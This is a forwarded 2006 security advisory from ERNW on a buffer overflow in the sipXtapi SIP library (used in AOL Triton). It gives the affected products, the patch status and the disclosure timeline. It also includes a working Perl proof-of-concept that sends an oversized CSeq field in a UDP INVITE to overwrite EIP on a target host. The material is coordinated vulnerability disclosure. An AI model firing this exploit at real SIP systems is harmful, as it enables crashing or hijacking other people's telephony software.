[security-alerts] FW: [VulnWatch] ERNW Security Advisory 02/2006 - Buffer Overflow in sipXtapi (used in AOL Triton)

["Kazennov, Vladimir" <Vladimir.Kazennov@xxxxxxxxxx>]

> -----Original Message-----
> From: mozilla@xxxxxxxxxxxx [mailto:mozilla@xxxxxxxxxxxx] 
> Sent: Monday, July 10, 2006 9:53 AM
> To: full-disclosure@xxxxxxxxxxxxxxxxx; 
> bugtraq@xxxxxxxxxxxxxxxxx; vulnwatch@xxxxxxxxxxxxx
> Subject: [VulnWatch] ERNW Security Advisory 02/2006 - Buffer 
> Overflow in sipXtapi (used in AOL Triton)
> 
> ERNW Security Advisory 02-2006
> 
> Buffer Overflow in SIP Foundry's SipXtapi
> 
> Author:
> Michael Thumann <mthumann[at]ernw.de>
> Homepage: www.ernw.de
> 
> 1. Summary:
> The sipXtapi library from sip foundry contains a buffer 
> overflow when parsing the CSeq field.
> This flaw can be used by  an attacker to gain control over 
> EIP and execute arbitrary code.
> 
> 2. Severity : Critical
> 
> 3. Products affected
> - sipXtapi: all version compiled before 24 of march 2006
> - PingTel products
> - AOL Triton
> 
> 4. Patch Availability :
> A patch is available within the source tree and the affected 
> products of PingTel and AOL
> have beed updated.
> 
> 5. Details
> Sending a CSeq field value greater than 24 bytes triggers the 
> buffer ovlerflow condition.
> 
> 6. Solution
> Update the affected products to the actual version.
> 
> 7. Time-Line 
> 20 Mar 2006: Vulnerability reported to vendor
> 20 Mar 2006: Answer from vendor
> 24 Mar 2006: Patch available
> 10 July 2006: Public Disclosure
> 
> 8. Exploit
> #!/usr/bin/perl
> # PoC Exploit By mthumann@xxxxxxx
> # Remote Buffer Overflow in sipXtapi
> 
> use IO::Socket;
> #use strict;
> 
> 
> print "sipXtapi Exploit by Michael Thumann \n\n";
> 
> if (not $ARGV[0]) {
>         print "Usage: sipx.pl <host>\n"; 
> exit;}
> 
> $target=$ARGV[0];
> my $source ="127.0.0.1";
> my $target_port = 5060;
> my $user ="bad";
> my $eip="\x41\x41\x41\x41";
> my $cseq = 
> "\x31\x31\x35\x37\x39\x32\x30\x38".
> "\x39\x32\x33\x37\x33\x31\x36\x31".
> "\x39\x35\x34\x32\x33\x35\x37\x30".
> $eip;
> my $packet =<<END;
> INVITE sip:user\@$source SIP/2.0\r
> To: <sip:$target:$target_port>\r
> Via: SIP/2.0/UDP $target:3277\r
> From: "moz"<sip:$target:3277>\r
> Call-ID: 3121$target\r
> CSeq: $cseq\r
> Max-Forwards: 70\r
> Contact: <sip:$source:5059>\r
> \r
> END
> 
> print "Sending Packet to: " . $target . "\n\n";
> socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));
> my $ipaddr = inet_aton($target);
> my $sendto = sockaddr_in($target_port,$ipaddr);
> send(PING, $packet, 0, $sendto) == length($packet) or die 
> "cannot send to $target : $target_port : $!\n";
> print "Done.\n";
> 
> 9. Thanks
> We would like to thank the guys from sip foundry for working 
> together on this issue in a professional and
> responsible way.
> 
> 10. Disclaimer
>  The informations in this advisory are provided "AS IS" 
> without warranty 
> of any kind. In no event shall the authors be liable for any damages 
> whatsoever including direct, indirect, incidental, consequential, 
> loss of business profits or special damages due to the misuse of any 
> information provided in this advisory. 
> 
> 
>